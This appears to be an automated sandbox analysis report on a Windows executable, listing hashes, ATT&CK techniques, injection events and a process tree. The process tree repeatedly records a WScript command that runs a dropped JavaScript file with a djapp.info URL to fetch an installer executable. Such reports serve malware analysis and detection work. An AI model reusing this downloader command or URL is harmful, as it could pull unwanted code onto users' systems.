84656d6694b0349e500b73aba811874ab466ad747043494377d797b7edae5856

General

Target

9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe
Size

184KB
MD5

9325f427cb1921de16d5338e6b7f9c55
SHA1

c20d3ba81024936e26d4a5d128d85170aba1d8b4
SHA256

84656d6694b0349e500b73aba811874ab466ad747043494377d797b7edae5856
SHA512

fdff4c9ba372be6054bf42bd9a3307431febb5f0610943303da680a204d693d4d26ba694042bd0f16f29fc8a9060a116fdfa598443c4eea819838a2dd308ec8a
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndnX

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	4112	WScript.exe
27	2428	WScript.exe
30	1200	WScript.exe
42	3928	WScript.exe
43	3928	WScript.exe
45	2432	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4396	3296	WerFault.exe	83

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 4112	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	84
PID 3296 wrote to memory of 4112	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	84
PID 3296 wrote to memory of 4112	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	84
PID 3296 wrote to memory of 2428	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	96
PID 3296 wrote to memory of 2428	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	96
PID 3296 wrote to memory of 2428	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	96
PID 3296 wrote to memory of 1200	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	97
PID 3296 wrote to memory of 1200	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	97
PID 3296 wrote to memory of 1200	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	97
PID 3296 wrote to memory of 3928	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	99
PID 3296 wrote to memory of 3928	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	99
PID 3296 wrote to memory of 3928	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	99
PID 3296 wrote to memory of 2432	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	100
PID 3296 wrote to memory of 2432	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	100
PID 3296 wrote to memory of 2432	3296	9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9325f427cb1921de16d5338e6b7f9c55_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7688.js" http://www.djapp.info/?domain=YjMHoHHlIz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf7688.exe
  2⤵
  - Blocklisted process makes network request
  PID:4112
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7688.js" http://www.djapp.info/?domain=YjMHoHHlIz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf7688.exe
  2⤵
  - Blocklisted process makes network request
  PID:2428
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7688.js" http://www.djapp.info/?domain=YjMHoHHlIz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf7688.exe
  2⤵
  - Blocklisted process makes network request
  PID:1200
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7688.js" http://www.djapp.info/?domain=YjMHoHHlIz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf7688.exe
  2⤵
  - Blocklisted process makes network request
  PID:3928
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7688.js" http://www.djapp.info/?domain=YjMHoHHlIz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf7688.exe
  2⤵
  - Blocklisted process makes network request
  PID:2432
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3296 -s 1452
  2⤵
  - Program crash
  PID:4396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3296 -ip 3296
1⤵
PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf7688.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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